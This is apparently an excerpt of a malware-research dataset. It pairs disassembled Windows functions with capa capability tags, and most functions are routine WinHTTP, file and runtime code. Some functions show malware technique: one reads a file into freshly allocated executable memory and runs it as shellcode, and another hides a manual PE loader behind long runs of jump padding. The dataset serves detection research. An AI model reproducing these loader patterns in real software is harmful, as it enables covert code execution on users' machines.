joyce8/EMBER2024-capa huggingface dataset:
Function at 0x685040
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x20], 0
je 0x68519d
cmp byte [esi + 0x28], 0
je 0x68519d
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], 0
mov dword [ebx], 0
push dword [esi + 0xb0]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x6850b9
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push eax
mov ecx, esi
call fcn.00685aa0
call fcn.006748e0
mov esi, eax
mov edi, dword [esi]
call ebx
push eax
push str.Error__d_in_WinHttpQueryDataAvailable._n
push 0x7376fc
push esi
call dword [edi + 0x24]
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x14]
cmova ecx, dword [ebp + 0x14]
mov dword [ebp - 4], ecx
test ecx, ecx
jne 0x6850d6
lea eax, [ecx + 2]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
cmp byte [ebp + 0x10], 0
mov edi, dword [ebp + 8]
je 0x685136
push 0x7b2a14
push ecx
call fcn.00689199
add esp, 8
mov dword [edi], eax
test eax, eax
jne 0x685133
call fcn.006748e0
push dword [ebp - 4]
push str.failed_to_allote_mmeory_of_size__d
mov ecx, dword [eax]
push 0x7376fc
push eax
call dword [ecx + 0x24]
sub esp, 8
mov ecx, esp
push 0x7376fc
call fcn.0047ac10
push 0
push 0x14
mov ecx, esi
call fcn.006862e0
mov eax, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 4]
push ecx
push 0
push dword [edi]
call fcn.00607c70
add esp, 0xc
push ebx
push dword [ebp - 4]
push dword [edi]
push dword [esi + 0xb0]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x68518a
call fcn.006748e0
push str.Error__u_in_WinHttpReadData._n
push 0x7376fc
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.00685aa0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [ebp - 4]
neg eax
sbb eax, eax
add eax, 2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.006748e0
push str.downloader_is_not_initialized
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
sub esp, 0x10
xor eax, eax
mov ecx, esp
push eax
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push 0x7376fc
mov word [ecx], ax
call fcn.0047ade0
push 0
push 0x13
mov ecx, esi
call fcn.006862e0
pop edi
pop esi
mov eax, 3
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x685600
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 4]
push esi
push edi
push 0
push eax
push 0
mov edi, ecx
mov dword [ebp - 4], 0
push 0
push ebx
push dword [edi + 0xb0]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0x24
jne 0x68563c
cmp eax, 0x2f76
je 0x685649
cmp eax, 0x7a
je 0x685654
push eax
mov ecx, edi
call fcn.00685aa0
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp - 4]
test eax, eax
jne 0x68567e
call fcn.006748e0
push str.retrieveHeaderFromHttpRequest:_Zero_buffer_required....
push 0x7376fc
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
add esp, 0xc
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
xor ecx, ecx
shr eax, 1
mov edx, 2
mul edx
push 0x7b2a14
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00689199
mov esi, eax
add esp, 8
test esi, esi
jne 0x6856dd
call fcn.006748e0
push str.failed_to_allocate_memory
push 0x7376fc
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
sub esp, 0xc
mov ecx, esp
push str.Memory_Allocation_Failed
call fcn.0047ac10
push esi
push 0x14
mov ecx, edi
call fcn.006862e0
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0
lea eax, [ebp - 4]
push eax
push esi
push 0
push ebx
push dword [edi + 0xb0]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
jne 0x685719
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, edi
call fcn.00685aa0
push esi
call fcn.00605209
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
push esi
call fcn.0047ab60
push esi
call fcn.00605209
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x685820
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push 0
push eax
push 0
push 0
push 0x16
push dword [edi]
mov dword [ebp - 4], 0
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x6858a8
mov eax, dword [ebp - 4]
xor ecx, ecx
shr eax, 1
mov edx, 2
mul edx
push esi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00605200
add esp, 4
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
push 0
push 0x16
push dword [edi]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
je 0x68589a
call fcn.006748e0
push esi
push str.Header_contents:__n_s
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
add esp, 0xc
test esi, esi
je 0x6858a7
push esi
call fcn.00605209
add esp, 4
pop esi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0xfc8a64
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0xfc8a92
mov eax, ebx
call fcn.00fc9518
cmp dword [ebx + 0x40], 0
je 0xfc8a8b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0xfc8b03
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0xfc8af5
cmp dword [ebx + 8], 0
je 0xfc8ab4
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0xfc8ac6
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0xfc8af5
cmp dword [ebx + 8], 0
je 0xfc8aa7
cmp eax, 3
je 0xfc8ad9
dec eax
jne 0xfc8aa7
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0xfc8aa7
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0xfc8aa7
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0xfc8b21
cmp dword [ebx + 0x14], 0xcc
je 0xfc8b21
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00fc8b2c
pop ebx
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x6fc47062
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x70401014]
mov dword [ebp - 0xc], eax
jmp 0x6fc47150
jmp 0x6fc47230
jmp 0x6fc47310
jmp 0x6fc473f0
jmp 0x6fc474d0
jmp 0x6fc475b0
jmp 0x6fc47690
jmp 0x6fc47770
jmp 0x6fc47850
jmp 0x6fc47930
jmp 0x6fc47a10
jmp 0x6fc47af0
jmp 0x6fc47bd0
cmp dword [ebp - 0xc], 0
je 0x6fc4a9ac
mov eax, dword [0x70401014]
mov dword [0x7040100c], eax
jmp 0x6fc47cc4
jmp 0x6fc47da4
jmp 0x6fc47e84
jmp 0x6fc47f64
jmp 0x6fc48044
jmp 0x6fc48124
jmp 0x6fc48204
jmp 0x6fc482e4
jmp 0x6fc483c4
jmp 0x6fc484a4
jmp 0x6fc48584
jmp 0x6fc48664
jmp 0x6fc48744
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [0x70401008], eax
jmp 0x6fc48834
jmp 0x6fc48914
jmp 0x6fc489f4
jmp 0x6fc48ad4
jmp 0x6fc48bb4
jmp 0x6fc48c94
jmp 0x6fc48d74
jmp 0x6fc48e54
jmp 0x6fc48f34
jmp 0x6fc49014
jmp 0x6fc490f4
jmp 0x6fc491d4
jmp 0x6fc492b4
mov eax, dword [0x70401008]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x10], eax
jmp 0x6fc4939f
jmp 0x6fc4947f
jmp 0x6fc4955f
jmp 0x6fc4963f
jmp 0x6fc4971f
jmp 0x6fc497ff
jmp 0x6fc498df
jmp 0x6fc499bf
jmp 0x6fc49a9f
jmp 0x6fc49b7f
jmp 0x6fc49c5f
jmp 0x6fc49d3f
jmp 0x6fc49e1f
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [0x70401004], eax
jmp 0x6fc49f2c
jmp 0x6fc4a00c
jmp 0x6fc4a0ec
jmp 0x6fc4a1cc
jmp 0x6fc4a2ac
jmp 0x6fc4a38c
jmp 0x6fc4a46c
jmp 0x6fc4a54c
jmp 0x6fc4a62c
jmp 0x6fc4a70c
jmp 0x6fc4a7ec
jmp 0x6fc4a8cc
jmp 0x6fc4a9ac
nop
leave
ret
Function at 0x6fc4c0b3
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x70401008]
movzx eax, word [eax + 0x14]
movzx eax, ax
mov edx, dword [0x70401008]
add eax, edx
add eax, 0x18
mov dword [ebp - 0xc], eax
jmp 0x6fc4c1b3
jmp 0x6fc4c293
jmp 0x6fc4c373
jmp 0x6fc4c453
jmp 0x6fc4c533
jmp 0x6fc4c613
jmp 0x6fc4c6f3
jmp 0x6fc4c7d3
jmp 0x6fc4c8b3
jmp 0x6fc4c993
jmp 0x6fc4ca73
jmp 0x6fc4cb53
jmp 0x6fc4cc33
mov dword [ebp - 0x14], 0
jmp 0x6fc4cd1a
jmp 0x6fc4cdfa
jmp 0x6fc4ceda
jmp 0x6fc4cfba
jmp 0x6fc4d09a
jmp 0x6fc4d17a
jmp 0x6fc4d25a
jmp 0x6fc4d33a
jmp 0x6fc4d41a
jmp 0x6fc4d4fa
jmp 0x6fc4d5da
jmp 0x6fc4d6ba
jmp 0x6fc4d79a
mov dword [ebp - 0x18], 0
jmp 0x6fc4d881
jmp 0x6fc4d961
jmp 0x6fc4da41
jmp 0x6fc4db21
jmp 0x6fc4dc01
jmp 0x6fc4dce1
jmp 0x6fc4ddc1
jmp 0x6fc4dea1
jmp 0x6fc4df81
jmp 0x6fc4e061
jmp 0x6fc4e141
jmp 0x6fc4e221
jmp 0x6fc4e301
mov dword [ebp - 0x10], 0
jmp 0x6fc4e3e8
jmp 0x6fc4e4c8
jmp 0x6fc4e5a8
jmp 0x6fc4e688
jmp 0x6fc4e768
jmp 0x6fc4e848
jmp 0x6fc4e928
jmp 0x6fc4ea08
jmp 0x6fc4eae8
jmp 0x6fc4ebc8
jmp 0x6fc4eca8
jmp 0x6fc4ed88
jmp 0x6fc4ee68
mov dword [ebp - 0x10], 0
jmp 0x6fc5279a
jmp 0x6fc4ef54
jmp 0x6fc4f034
jmp 0x6fc4f114
jmp 0x6fc4f1f4
jmp 0x6fc4f2d4
jmp 0x6fc4f3b4
jmp 0x6fc4f494
jmp 0x6fc4f574
jmp 0x6fc4f654
jmp 0x6fc4f734
jmp 0x6fc4f814
jmp 0x6fc4f8f4
jmp 0x6fc4f9d4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [0x70401004]
add eax, edx
mov dword [ebp - 0x14], eax
jmp 0x6fc4fac5
jmp 0x6fc4fba5
jmp 0x6fc4fc85
jmp 0x6fc4fd65
jmp 0x6fc4fe45
jmp 0x6fc4ff25
jmp 0x6fc50005
jmp 0x6fc500e5
jmp 0x6fc501c5
jmp 0x6fc502a5
jmp 0x6fc50385
jmp 0x6fc50465
jmp 0x6fc50545
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
mov edx, dword [0x7040100c]
add eax, edx
mov dword [ebp - 0x18], eax
jmp 0x6fc50636
jmp 0x6fc50716
jmp 0x6fc507f6
jmp 0x6fc508d6
jmp 0x6fc509b6
jmp 0x6fc50a96
jmp 0x6fc50b76
jmp 0x6fc50c56
jmp 0x6fc50d36
jmp 0x6fc50e16
jmp 0x6fc50ef6
jmp 0x6fc50fd6
jmp 0x6fc510b6
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
jmp 0x6fc511b2
jmp 0x6fc51292
jmp 0x6fc51372
jmp 0x6fc51452
jmp 0x6fc51532
jmp 0x6fc51612
jmp 0x6fc516f2
jmp 0x6fc517d2
jmp 0x6fc518b2
jmp 0x6fc51992
jmp 0x6fc51a72
jmp 0x6fc51b52
jmp 0x6fc51c32
add dword [ebp - 0xc], 0x28
jmp 0x6fc51d16
jmp 0x6fc51df6
jmp 0x6fc51ed6
jmp 0x6fc51fb6
jmp 0x6fc52096
jmp 0x6fc52176
jmp 0x6fc52256
jmp 0x6fc52336
jmp 0x6fc52416
jmp 0x6fc524f6
jmp 0x6fc525d6
jmp 0x6fc526b6
jmp 0x6fc52796
add dword [ebp - 0x10], 1
mov eax, dword [0x70401008]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x10]
ja 0x6fc4ee74
nop
leave
ret
Function at 0x6fc72e80
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], 0x70400040
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.6fc72ee0

Function at 0x6fc72ee0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x70401378]
test esi, esi
jle 0x6fc72fcd
mov edi, dword [0x7040137c]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x6fc72f14
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x6fc72fc6
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x6fc72f00
mov dword [esp], eax
mov esi, eax
call fcn.6fc73680
test eax, eax
mov edi, eax
je 0x6fc7300a
mov esi, dword [0x7040137c]
lea ebx, [ebx + ebx*2]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call fcn.6fc73790
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x7040137c]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x6fc72fea
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x6fc72fbf
sub eax, 0x40
and eax, 0xffffffbf
je 0x6fc72fbf
mov eax, dword [esp + 0x20]
add ebx, dword [0x7040137c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x6fc72fd4
add dword [0x70401378], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor ebx, ebx
jmp 0x6fc72f1e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.6fc72e80
mov eax, dword [0x7040137c]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.6fc72e80
mov dword [esp + 4], esi
mov dword [esp], str.Address__p_has_no_image_section
call fcn.6fc72e80
lea esi, [esi]
Function at 0x6fc732f0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x70401388
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x70401380]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x6fc73345
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x6fc7333e
test esi, esi
je 0x6fc7333e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6fc73320
mov dword [esp], 0x70401388
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x405841
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x405880
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x405880
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x405880
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x405880
cmp dword [ecx + 0x74], 0xe
jbe 0x405880
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40ca8d
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40cb2a
push ebx
push esi
call fcn.0040ca56
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040c99f
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40cad7
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40cb29
push edi
push eax
call fcn.0040b43b
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40caf7
call fcn.0040b5c7
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40cb28
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040c99f
add esp, 0x20
test eax, eax
jne 0x40cb16
push edi
call fcn.0040b5c7
jmp 0x40cb1e
push ebx
call fcn.0040b5c7
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40d194
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415c40
push 0x415c38
push str.FlsAlloc
push 0x1e
call fcn.0040d055
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d1c8
push dword [ebp + 8]
mov ecx, esi
call dword [0x414110]
call esi
jmp 0x40d1ce
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d212
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415c50
push 0x415c48
push str.FlsGetValue
push 0x20
call fcn.0040d055
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d249
push dword [ebp + 8]
mov ecx, esi
call dword [0x414110]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x413190
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4131bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4131bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x41c3a7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041c049

Function at 0x41c3b2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041c1d8

Function at 0x41c7ac
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040b950
mov eax, dword [0x435100]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041a30f
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41c7ee
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41c94a
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00427050
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x481c48]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041d97c
mov ecx, dword [esi*4 + 0x481c48]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41c943
cmp eax, dword [edi + ecx + 0x24]
jne 0x41c943
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41c943
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041d97c
add esp, 0x14
test edx, edx
jl 0x41c943
jg 0x41c8b9
test eax, eax
jb 0x41c943
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41c943
jl 0x41c8d3
cmp dword [ebp - 0x1008], eax
ja 0x41c943
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41c8f1
test ebx, ebx
je 0x41c92a
cmp ecx, edi
jae 0x41c92a
mov al, byte [ecx]
cmp al, 0xd
jne 0x41c90b
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41c917
cmp byte [ecx + 1], 0xa
jne 0x41c917
inc ecx
jmp 0x41c917
movzx eax, al
movsx eax, byte [eax + 0x4353d0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41c8f1
cmp edx, ebx
jne 0x41c8f1
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41c948
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040aa09
leave
ret
Function at 0x41ce1a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x481c48]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41ce5a
cmp byte [ebx], 0xa
jne 0x41ce5a
or byte [eax + edi + 0x28], 4
jmp 0x41ce5f
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41cf5d
mov al, byte [edx]
cmp al, 0x1a
je 0x41cf3f
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41ce8e
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41ceb3
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41cebd
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41ce70
jmp 0x41cf5d
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41cf3a
cmp dword [ebp - 0xc], 0
je 0x41cf3a
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x481c48]
test byte [eax + edi + 0x28], 0x48
je 0x41cf14
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41ceff
mov byte [esi], dl
jmp 0x41cf10
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x481c48]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41cf5d
cmp byte [ebp - 1], 0xa
jne 0x41cf23
cmp esi, ebx
jne 0x41cf23
mov byte [esi], 0xa
jmp 0x41cf5c
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041d99a
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41cf5d
mov byte [esi], 0xd
jmp 0x41cf5c
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x481c48]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41cf59
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41cf5d
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret